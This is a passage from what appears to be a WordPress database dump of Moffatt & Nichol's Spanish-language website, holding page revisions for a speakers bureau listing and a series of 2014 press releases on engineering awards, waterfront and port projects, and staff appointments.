um conjunto de serviços <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/global-commerical-advisory-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GCAS1PORTUGUESE1PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Portugués','','inherit','open','open','','1997-revision-2','','','2012-06-15 11:23:03','2012-06-15 11:23:03','',1997,'http://moffattnichol.com/spanish/1997-revision-2/',0,'revision','',0),(2543,1,'2012-06-15 11:25:13','2012-06-15 11:25:13','<div class=\"content_faq\">\r\n<h1>Conferencia de comercio y transporte del noreste</h1>\r\n<iframe src=\"http://docs.google.com/viewer?url=http://moffattnichol.com/spanish/wp-content/uploads/2012/01/20111031Mar1231CONECT1Kemmsies.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>\r\n</div>','Presentaciones','','inherit','open','open','','1816-autosave','','','2012-06-15 11:25:13','2012-06-15 11:25:13','',1816,'http://moffattnichol.com/spanish/1816-autosave/',0,'revision','',0),(2544,1,'2013-01-14 06:18:30','2013-01-14 06:18:30','<div class=\"content-speakers\">\n          <h1>oficina de oradores</h1>\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son líderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\n          <div class=\"speakers-left\">\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\n             <p class=\"black\">\n             Finanzas y desarrollo portuarios\n             Planeamiento maestro portuario y de terminales \n             Seguridad portuaria \n             Mitigación para impacto de grandes proyectos de desarrollo portuario \n             Planeamiento y automatización de terminales de contenedores \n             Desarrollo portuario internacional \n             Diseño de pavimentos portuarios \n             Terminales ecológicas \n            </p>\n             &nbsp;\n            <div class=\"spekers-divider-line-right\">Transporte</div>\n                <p class=\"black\">\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \nPlaneamiento, obtención de fondos y diseño de carga multimodal \nDiseño antisísmico \nDiseño y análisis de puentes \nTerminales de graneles Ingeniería de eventos extremos \nAnálisis y protección de tsunamis \nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \nTerminales de transbordadores \n            </p>\n            &nbsp;\n             <div class=\"spekers-divider-line-right\">Energía</div>\n                <p class=\"black\">\nTerminales marítimas petroleras \nTerminales de carga líquida a granel \nTerminales de GNL Amarres de boya simple y múltiple \nDiseño de tuberías submarinas \nAnálisis de buques de paso \nAnálisis y diseño de amarres y atraques \nCimentaciones de turbinas eólicas costa afuera \nPuertos de acceso a parques eólicos costa afuera \nAlmacenamiento de energía de aire comprimido del océano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \nTendencias en brazos de carga de GNL y graneles líquidos \n            </p>\n            \n          </div>\n          \n          \n          <div class=\"speakers-right\">\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\n            <p class=\"black\">\nAplicaciones beneficiosas y desecho de material dragado \nIngeniería de recursos hídricos \nIngeniería y modelación costeras \nGestión de aguas pluviales costeras \nGestión y planeamiento de la zona costera \nAumento del nivel del mar y Cambio climático \nVulnerabilidad de la infraestructura costera \nSedimentos contaminados \nGestión de la calidad del aire \nEstructuras de control de inundaciones \nRestauración del hábitat\n            </p>\n             &nbsp;\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\n            <p class=\"black\">\nDiseño de puertos deportivos y frentes de mar urbanos \nDiseño de estructuras marítimas Desarrollo de centros turísticos \nRecuperación de tierras\n            </p>\n            &nbsp;\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\n            <p class=\"black\">\nInspección y rehabilitación de estructuras marítimas \nIngeniería de vida de servicio Investigaciones del frente costero \nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \nRehabilitación \nMuestreo y pruebas\n            </p> \n            &nbsp;\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\n</div>\n            <p class=\"black\">\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \nAsociaciones público-privadas \nLa economía y las tendencias globales \nEvaluación y gestión de riesgos\n            </p>                               \n          </div>\n          <div class=\"clear\"></div>\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-autosave','','','2013-01-14 06:18:30','2013-01-14 06:18:30','',80,'http://moffattnichol.com/spanish/80-autosave/',0,'revision','',0),(2545,1,'2011-10-18 11:43:17','2011-10-18 11:43:17','<div class=\"content-speakers\">\n          <h1>oficina de oradores</h1>\n          <div class=\"spekers-para-new\">Los profesionales de Moffatt & Nichol son lÃderes en sus respectivos campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especializaciÃ³n, ademÃ¡s de su probada habilidad para hablar en pÃºblico, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes Ã¡reas:</div>\n          <div class=\"speakers-left\">\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marÃtimas:</div>\n             <p class=\"black\">\n             Finanzas y desarrollo portuarios Planeamiento maestro portuario y de terminales Seguridad portuaria MitigaciÃ³n para impacto de grandes proyectos de desarrollo portuario Planeamiento y automatizaciÃ³n de terminales de contenedores Desarrollo portuario internacional DiseÃ±o de pavimentos portuarios Terminales ecolÃ³gicas \n            </p>\n             &nbsp;\n            <div class=\"spekers-divider-line-right\">Transporte</div>\n                <p class=\"black\">\nPlaneamiento, obtenciÃ³n de fondos y diseÃ±o de transporte multimodal Planeamiento, obtenciÃ³n de fondos y diseÃ±o de carga multimodal DiseÃ±o antisÃsmico DiseÃ±o y anÃ¡lisis de puentes Terminales de graneles IngenierÃa de eventos extremos AnÃ¡lisis y protecciÃ³n de tsunamis Defensas de puentes y estructuras de puentes Planeamiento de transporte y diseÃ±o de calzadas Tendencias en el movimiento y embarque de mercancÃas Terminales de transbordadores \n            </p>\n            &nbsp;\n             <div class=\"spekers-divider-line-right\">EnergÃa</div>\n                <p class=\"black\">\nTerminales marÃtimas petroleras Terminales de carga lÃquida a granel Terminales de GNL Amarres de boya simple y mÃºltiple DiseÃ±o de tuberÃas submarinas AnÃ¡lisis de buques de paso AnÃ¡lisis y diseÃ±o de amarres y atraques Cimentaciones de turbinas eÃ³licas costa afuera Puertos de acceso a parques eÃ³licos costa afuera Almacenamiento de energÃa de aire comprimido del ocÃ©ano Infraestructura de frentes costeros de la Marina Infraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglÃ©s) Tendencias en brazos de carga de GNL y graneles lÃquidos \n            </p>\n            \n          </div>\n          \n          \n          <div class=\"speakers-right\">\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hÃdricos</div>\n            <p class=\"black\">\nAplicaciones beneficiosas y desecho de material dragado IngenierÃa de recursos hÃdricos IngenierÃa y modelaciÃ³n costeras GestiÃ³n de aguas pluviales costeras GestiÃ³n y planeamiento de la zona costera Aumento del nivel del mar y Cambio climÃ¡tico Vulnerabilidad de la infraestructura costera Sedimentos contaminados GestiÃ³n de la calidad del aire Estructuras de control de inundaciones RestauraciÃ³n del hÃ¡bitat\n            </p>\n             &nbsp;\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\n            <p class=\"black\">\nDiseÃ±o de puertos deportivos y frentes de mar urbanos DiseÃ±o de estructuras marÃtimas Desarrollo de centros turÃsticos RecuperaciÃ³n de tierras \n            </p>\n            &nbsp;\n            <div class=\"spekers-divider-line-left\">InspecciÃ³n y rehabilitaciÃ³n</div>\n            <p class=\"black\">\nInspecciÃ³n y rehabilitaciÃ³n de estructuras marÃtimas IngenierÃa de vida de servicio Investigaciones del frente costero Sistemas de gestiÃ³n del mantenimiento y Sistemas de gestiÃ³n de activos RehabilitaciÃ³n Muestreo y pruebas\n            </p> \n            &nbsp;\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\n</div>\n            <p class=\"black\">\nSelecciÃ³n de ubicaciÃ³n de inmuebles industriales AnÃ¡lisis y pronÃ³stico de informaciÃ³n comercial Tendencias en la gestiÃ³n de la cadena de suministro Asociaciones pÃºblico-privadas La economÃa y las tendencias globales EvaluaciÃ³n y gestiÃ³n de riesgos\n            </p>                               \n          </div>\n          <div class=\"clear\"></div>\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquÃ </a>y comunÃquese con nosotros si desea mÃ¡s informaciÃ³n.</span> </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','inherit','open','open','','80-revision','','','2011-10-18 11:43:17','2011-10-18 11:43:17','',80,'http://moffattnichol.com/spanish/80-revision/',0,'revision','',0),(2546,1,'2014-06-03 20:58:55','2014-06-03 20:58:55','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Moffatt &amp; Nichol Seleccionado Como Consultor Del Año Por APWA, Capítulo Atlántico Medio </h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/06/Award_edit.jpg\" alt=\"\" width=\"400\" height=\"430\" /></a>\r\n\r\nNORFOLK, VA, 3 de junio de 2014 – La Asociación Americana de Trabajos Públicos, APWA, Capítulo Atlántico Medio, recientemente seleccionó a Moffatt & Nichol como Consultor del Año 2014. El galardón fue recibido el 8 de mayo durante una ceremonia de entrega en la Conferencia y Show de  APWA Capítulo Atlántico Medio, realizado en Newport News, VA. La firma fue nominada por la Ciudad de Norfolk.  \r\n\r\n“Moffatt & Nichol se siente honrado de haber sido nominado por uno de nuestros más antiguos clientes y seleccionado por el APWA Capítulo Atlántico Medio como el Consultor del Año”, dijo Michael Rieger, Líder de Unidad de Negocio de la oficina de Norfolk de Moffatt & Nichol. “Esto puede atribuirse a un sólido compromiso con la atención al cliente y el arduo trabajo de nuestro equipo”. \r\n\r\nMoffatt & Nichol ha ejecutado servicios de ingeniería para varios proyectos con la Ciudad de Norfolk desde 2002, incluyendo inspección de estribos, protección costera e inspección subacuática con sus respectivos servicios de ingeniería relacionados. La firma ha desarrollado trabajos para otras municipalidades en el área del Atlántico Medio, incluyendo Virginia Beach, Portsmouth, Chesapeake, Suffolk, Newport News, Poquoson and Hampton. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"31\">Ceremonia Inicial En The Wharf, En Southwest Waterfront</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Sign.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nLong Beach, CA, mayo 2 de 2014 – El 19 de marzo, el Southwest Waterfront del distrito de Columbia marcó un significativo hito cuando- luego de ocho años de debida diligencia, planeación, diseño, permisos y rezonificación- el equipo Hoffman-Madison Waterfront Development inició obras en The Wharf. Como miembro clave del equipo, Moffatt & Nichol es responsable de la planeación, diseño, permisos, inspección, estimación de costos y evaluación financiera de todos los elementos de frente de mar del proyecto. La firma también está proporcionando los servicios de un ingeniero residente de especialidad marítima para ofrecer apoyo en la construcción para todas las instalaciones marítimas. Entre los oradores de la ceremonia estuvieron los desarrolladores y líderes de la ciudad, incluyendo el alcalde Vince Gray y miembros del Concejo de D.C. \r\n\r\nThe Wharf será un desarrollo costero de uso mixto con clase mundial de una milla de extensión, ubicado en el histórico Washington Channel, con un área de desarrollo que se extiende por 24 hectáreas de terreno y más de 50 hectáreas de agua. Una vez completado, The Wharf contará con3.2 millones de pies cuadrados de área residencial, oficinas, hoteles, venta al detal, áreas culturales, marina y espacios públicos incluyendo parques costeros, paseos, muelles y embarcaderos. La Fase 1 que se estima se complete en 2017 incluye 1.5 millones de pies cuadrados de desarrollo. Del lado marítimo habrá cuatro muelles de acceso público, un club de yates privado y una nueva marina pública con instalaciones para visitar a los navegantes. \r\n\r\nEl plan acuático desarrollado por Moffatt & Nichol genera una gran cantidad de actividades marítimas que harán del Southwest Waterfron un destino regional. Toda la actividad marítima se conecta a tierra a través de una serie de muelles programables los cuales sirven como una extensión de la red de la ciudad hacia el agua. Estos muelles activos se conectarán a una calle compartida o un “muelle” en el centro del sitio, conduciendo a los peatones más allá de la línea costera y uniendo los usos terrestres y marítimos en un entorno urbano lleno de vida las 24 horas. \r\n\r\n“Nuestra meta con este proyecto es facilitar una variedad de actividades marítimas y servicios de clase mundial para equiparar las actividades en el lado terrestre”, comentó Rob Sloop, Gerente de Proyecto de Moffatt & Nichol para The Wharf. “De esta manera, los residentes y los visitantes por igual quedarán maravillados con el ambiente energético y estimulante de Southwest Waterfront”.  \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"30\">El Puerto De San Diego Mantiene Su Compromiso De Reducir Las Emisiones De Buques Con La Ayuda De Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/photo.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nSan Diego, CA, 30 de abril, 2014 – El Puerto de San Diego hizo un compromiso para reducir las  emisiones de buques para el año 2014  en Tenth Avenue Marine Terminal (TAMT), y cumplió esa promesa al encender la estación de energía en la costa el lunes 24 de febrero de 2014. Esta acción mejorará la calidad del aire y reducirá las emisiones de gases de efecto invernadero por encima de 50% al año, al permitir que buques cargueros “se conecten” en lugar de mantener encendidos sus propios motores a diésel mientras están en el puerto. Para colaborar en el logro de esta meta, Moffatt & Nichol llevó a cabo un detallado análisis del sistema eléctrico para maximizar el uso de los sistemas de conmutación y conductos existentes, y minimizar la longitud total de la excavación de zanjas que se requerían para los nuevos ductos.  Este diseño también incluye provisiones para una segunda futura subestación que proveerá energía a un segundo muelle, permitiendo que dos buques de contenedores refrigerados totalmente cargados (u otro tipo de buque) reciban energía desde la costa, simultáneamente. \r\n\r\n“Dedicación y trabajo en equipo entre el Puerto y Moffatt & Nichol fue lo que permitió el éxito de este proyecto” dijo Tyler Sparks, Ingeniero Eléctrico Senior y Gerente de Proyecto. “El equipo de ingeniería del puerto trabajó conjuntamente con el equipo de diseño de Moffatt & Nichol para diseñar, administrar la construcción y para lograr la puesta en marcha a tiempo y dentro del presupuesto. Estamos orgullosos de haber sido parte de este proyecto ambientalmente vanguardista.” \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"29\">Proyecto De Nuevo Tramo De Puente Entre San Francisco Y La Bahia De Oakland Gana Galardón De Proyecto Del Año Del Distrito 9 De ASCE</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/ASCE-Project-of-the-Year-2.jpg\" alt=\"\" width=\"400\" height=\"300\" /></a>\r\n\r\nWalnut Creek, CA, 28 de abril de 2014 – El Distrito 9 de la Sociedad Americana de Ingenieros Civiles (ASCE) realizó su premiación anual el viernes 14 de marzo y proclamó el proyecto “San Francisco-Oakland Bay Bridge New East Span” como el ganador de la categoría Proyecto del Año. Como parte de un consorcio, Moffatt & Nichol proporcionó servicios de diseño de ingeniería para el reemplazo del segmento dual de losa paralela de 2.2 millas, en la porción Este del puente, que conecta con Yerba Buena Island en el Oeste y con Oakland en el Este. \r\n\r\n“Al igual que cualquier otro proyecto público de alto perfil, el nuevo puente de Bay Bridge atrae el interés de mucha gente. Estoy orgulloso de que nuestro equipo se mantuviera positivo y enfocado en alcanzar la meta de seguridad sísmica. El público ahora cuenta con un hermoso y seguro puente que servirá a la comunidad por muchos años” dijo Scott Buckley, administrador de proyecto y gerente de contrato. En nombre del equipo de diseño conformado por Caltrans/T.Y.Lin/Moffatt & Nichol estamos agradecidos con esta prestigiosa distinción de parte de ASCE Distrito 9.”\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"28\">Robin Dolan Se Une A Moffatt &amp; Nichol Como Nuevo Líder De Servicios Comerciales</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Robin-Dolan-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nNueva York, Estados Unidos y Londres, Reino Unido, marzo 25, 2014— Moffatt & Nichol se complace en anunciar que Robin Dolan se une a la firma como Líder de Servicios Comerciales. Los servicios comerciales internos de la firma están basados en nuestras oficinas en Nueva York y Londres e incluyen expertos en logística y en proyectos marítimos especializados en la evaluación,  análisis, adquisición y fusión de infraestructuras marítimas, sistemas intermodales de transporte y pronósticos de mercado e ingresos asociados con el movimiento de carga. \r\n\r\nLuego de trabajar para Royal Navy en la década de los 80, el Sr. Dolan ha trabajado en puestos de creciente responsabilidad en la industria portuaria, incluyendo varias posiciones con P&O Ports en Londres y Nueva Jersey, entre 1998 y 2007. Recientemente fue Vicepresidente de Desarrollo Corporativo para PortsAmerica en Ciudad Jersey, Nueva Jersey. \r\n \r\nEl Sr. Dolan es altamente calificado para la identificación, evaluación, negociación y desarrollo de proyectos de terminales marítimas. Ha creado visiones de crecimiento estratégico para varias organizaciones y ha dirigido fusiones negociadas, adquisiciones, nuevos desarrollos y otros emprendimientos con organizaciones líderes en la industria marítima y portuaria. Posee también amplia experiencia en la ejecución y desarrollo de planes que conducen al crecimiento de organizaciones y marcan el camino para la rentabilidad continua y sostenible. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"27\">Moffatt &amp; Nichol Presenta A Marcos Vendramini Como Líder De Unidad Negocios Para La Oficina De Brasil</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/05/Marcos-Vendramini-FINAL.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nRío de Janeiro, Brasil, marzo 24, 2014— Moffatt & Nichol se complace en anunciar que Marcos Vendramini se une a nuestra oficina en Río de Janeiro, Brasil, como nuevo Líder de Unidad de Negocios. El Sr. Vendramini tiene más de 29 años de experiencia en proyectos de infraestructura de transporte, principalmente en puertos, ferrocarriles y aeropuertos. Su amplio portafolio de experiencia en Brasil y en los países vecinos incluye a varios de los actuales clientes de Moffatt & Nichol y también clientes en prospecto. El Sr. Vendramini también tiene considerable práctica en la operación de oficinas, administración de proyectos, negocios, planeación estratégica y manejo de cuentas de clientes. Recientemente fue Director para los puertos y negocios marítimos de AECOM. \r\n\r\n“Marcos está preparado para continuar la iniciativa que nació en Brasil un par de años atrás”, dijo Eric Nichol, Presidente de Moffatt & Nichol. “Su amplia trayectoria en la industria será un activo para nuestro equipo y nuestros clientes a medida que crecemos dentro del mercado brasileño”.\r\n\r\nEl Sr. Vendramini posee registro CREA en Brasil y obtuvo su Licenciatura en Ingeniería Mecánica Industrial de la Universidad Universidade Metodista de Piracicaba en Brasil y su Maestría en Planeación, Diseño y Administración de Sistemas Aeroportuarios en el Massachusetts Institute of Technology.\r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"26\">Moffatt &amp; Nichol Da La Bienvenida Paul Wallis Como Ingeniero Estructural Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/04/Paul-Wallis.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nANCHORAGE, AK, Marzo 20, 2014 – Moffatt & Nichol se complace en anunciar la incorporación de Paul Wallis, PE, SE, MLSCE al equipo de la oficina de Anchorage como ingeniero estructural Senior. Con más de 16 años de experiencia en diseño estructural y análisis de edificaciones nuevas y existentes, posee amplia experiencia en diseño y análisis de alta sismicidad y vientos fuertes  y proyectos de ingeniería en el Ártico, sub Ártico y Antártico. El Sr. Wallis será un valioso activo para el equipo de Moffatt & Nichol Anchorage, donde dirigirá proyectos a medida que la firma continua su crecimiento en el área. \r\n\r\nEl Sr. Wallis también aporta una sólida comprensión de administración de proyectos para una variedad de estudios. Esto incluye la investigación y diseño de instalaciones marítimas nuevas y existentes, construcciones verticales que van desde bodegas, hangares y oficinas en general, hasta una variedad de instalaciones industriales y militares e instalaciones para patios de gas y petróleo. Los clientes para los trabajos en los que el Sr. Willis ha participado van desde municipios, la Guardia Nacional del Ejército de los Estados Unidos, la Fuerza Aérea de los Estados Unidos, El Cuerpo de Ingenieros de los Estados Unidos, y la Fundación Nacional de Ciencias. \r\n\r\nEl Sr. Willis es un ingeniero estructural egresado de la Universidad de Alaska, Fairbanks, y posee registro de Ingeniero Profesional e Ingeniero Estructural.  También es miembro de la Junta Nacional de Inspectores para certificaciones de ingeniería y estudios para MLSE, es miembro activo de la Asociación de Ingenieros Estructurales de Alaska (SEAAK) y del Consejo de Profesionales de Diseño de Alaska (APDC), y es actualmente presidente para ambas agrupaciones. Otras afiliaciones profesionales incluyen el Instituto Americano de Construcción con Acero y la Sociedad Americana de Ingenieros Civiles. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"25\">Moffatt &amp; Nichol Da La Bienvenida A Jerry L. Neal, Como Ingeniero Senior Y Estimador De Costos</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg\" alt=\"\" width=\"250\" height=\"313\" /></a>\r\n\r\nWALNUT CREEK, CA, 20 de febrero de 2014 – Moffatt & Nichol se complace en anunciar la integración de Jerry L. Neal a la oficina de la firma en Walnut Creek. Con más de 37 años de experiencia en importantes proyectos de construcción de ingeniería civil y marítimos, tanto nacionales como fuera del país, funcionará como Ingeniero Senior y como estimador de costos para Moffatt & Nichol.  \r\n\r\nAntes de Moffatt & Nichol, el señor Neal fue el jefe estimador de costos para The Dutra Group, durante 11 años. Bajo su cargo manejó un equipo de estimadores, ingenieros, personal de administración de contratos e ingenieros de costos. \r\n\r\nEl Sr. Neal se integra con un sólido conocimiento de gerencia y estimación de costos en una variedad de proyectos, incluyendo puertos, presas y diques, plantas eléctricas y minas. Sus proyectos pasados de particular interés incluyen la Marina Cabrillo Way del Puerto de Los Ángeles, la cual fue diseñada por Moffatt & Nichol y para la cual la firma ofreció servicios de adquisición de permisos y apoyo en la construcción. El Sr. Neal también trabajó en el Puerto de Oakland, Fase 3E profundización a -50 pies; Muelle 102 para el Puerto de Los Ángeles; dragado anual de mantenimiento para el Puerto de Anchorage y varios otros proyectos de rehabilitación y fortalecimiento de diques  en el Delta de California. \r\n\r\nIngeniero Registrado, el Sr. Neal recibió su diploma de Licenciatura en Ingeniería Civil del South Dakota School of Mines and Technology. También posee un título de Maestría en Administración Estratégica de Negocios, del California State University, East Bay. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"24\">David W. Huchel Se Une A Moffatt &amp; Nichol Como Asesor General</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg\" alt=\"\" width=\"250\" height=\"350\" /></a>\r\n\r\nLONG BEACH, CA, 14 de febrero de 2014 – David Huchel se une a Moffatt & Nichol como Asesor General para la firma. Aporta más de 23 años de experiencia en legislación de construcción, litigios civiles, resolución de conflictos y mediación.  La carrera del Sr. Huchel se ha enfocado en apoyar clientes en la industria de la arquitectura, ingeniería y construcción. \r\n\r\n“Me llama la atención la tradición de excelencia de Moffatt & Nichol y su fuerte reputación en la industria”, comentó sobre su incorporación a la firma. “En el pasado, he trabajado con Moffatt & Nichol en la formación de equipos y otros acuerdos. Siempre me ha impresionado la solidez técnica y profesional de Moffatt & Nichol”. \r\n\r\nPrevio a Moffatt & Nichol, el Sr. Huchel trabajó para AECOM, donde fue Vicepresidente y Gerente Asesor de los grupos marítimos de la región oeste y América del Norte. Anteriormente fue el Asesor General y Secretario Corporativo para Boyle Engineering Corporation y fue Director de Boyle Holding Corporation, antes de que la firma fuera adquirida por AECOM. Con Boyle y AECOM apoyó la línea de negocios de servicios acuáticos y transporte, trabajando en una variedad de proyectos portuarios, de humedales y de frente de mar.  La práctica privada del Sr. Huchel en litigios civiles incluye seis años con Ford, Walker, Haggerty & Behar, para la oficina de la firma en Long Beach, California.\r\n\r\nFue admitido en la Asociación de Abogados de California en 1990, luego de obtener su diploma de Juris Doctor de University of the Pacific, McGeorge School of Law. El Sr. Huchel es miembro de la Asociación de Abogados Americanos, Asociación de Abogados de Los Ángeles, Asociación de Abogados del Condado de Orange y la Asociación de Asesores Corporativos. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"23\">Moffatt &amp; Nichol Anuncia Al Ingeniero Eric Burke Como Nuevo Líder De Unidad De Negocio Para La Oficina De Richmond</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg\" alt=\"\" width=\"250\" height=\"374\" /></a>\r\n\r\nRICHMOND, VA, febrero 4, 2014—Moffatt & Nichol se complace en anunciar que el ingeniero Eric Burke, se une a nuestra firma como Líder de Unidad de Negocio para la oficina de Richmond. El Sr. Burke obtuvo su título de licenciatura y su maestría en Virginia Polytechnic Institute y cuenta con más de 20 años de experiencia en ingeniería civil y proyectos de transporte. Además, trae a la firma una probada trayectoria de exitoso manejo de operaciones multidisciplinarias de ingeniería y ambiente en Virginia, Carolina del Norte y Carolina del Sur. \r\n\r\nLa oficina de Richmond  de Moffatt & Nichol ha crecido 50 por ciento en los dos últimos años. El Sr. Burke será un valioso activo para el equipo de la oficina de Richmond donde estará a cargo de liderar el grupo de ingenieros profesionales y gerentes de proyectos, al tiempo que la firma continuará creciendo y expandiendo sus capacidades en la práctica de transporte hacia la región centro-atlántica de los Estados Unidos. \r\n\r\nA través de su carrera, el Sr. Burke ha estado relacionado con el diseño y construcción de proyectos en el este de los Estados Unidos. Trae a Moffatt & Nichol un amplio espectro de conocimientos y de manejo de proyectos de transporte gracias a su experiencia trabajando y administrando varios aspectos del diseño de transporte, planeación ambiental y permisos. También ha manejado varios contratos multianuales “on-call” para Federal Highway Administration, South Carolina Department of Transportation, la ciudad de Richmond y otras entidades públicas. \r\n\r\n“La vasta pericia técnica y administrativa de Eric se ajusta perfectamente con nuestra oficina de Richmond”, comentó el ingeniero Eric Nichol, presidente de Moffatt & Nichol. “Estamos complacidos que se haya unido a nuestro equipo de líderes para seguir proporcionando valor a nuestros clientes en el área”. \r\n</div>\r\n\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"22\">Kevin Rai Se Une A Moffatt &amp; Nichol Como Ingeniero Eléctrico Junior</h3>\r\n\r\nVANCOUVER CB, Canadá, enero 2014 - Moffatt & Nichol se complace en dar la bienvenida a Kevin Rai, para la posición de Ingeniero Eléctrico Junior en nuestra oficina de Vancouver. El Sr. Rai trabajó como técnico y diseñador eléctrico en los últimos años mientras completaba sus estudios en el Instituto de Tecnología de Columbia Británica. En marzo obtendrá el título de  Licenciatura en Tecnología en Ingeniería Eléctrica.\r\n\r\nPara el Sr. Rai, obtener esta posición en Moffatt & Nichol es solamente el comienzo. “El cielo es el límite con Moffatt & Nichol”,  comentó. “Estoy interesado en aprender de los diversos grupos de profesionales de la firma, de interactuar con clientes al tiempo que optimizo mi nivel de conocimiento y logro la experiencia requerida para obtener mi licencia profesional en ingeniería en la provincia de Columbia Británica y el estado de Washington”. \r\n\r\nEl Sr. Rai tiene experiencia directa trabajando con diseños eléctricos para clientes en la industria minera, pero transferirá sus destrezas a las áreas de práctica de Moffatt & Nichol, incluyendo energía, puertos, muelles y terminales marítimas. Sus servicios más frecuentes incluyen la preparación de planos, diseños, cálculos y estimaciones de costos para ingeniería convencional, investigación y desarrollo de 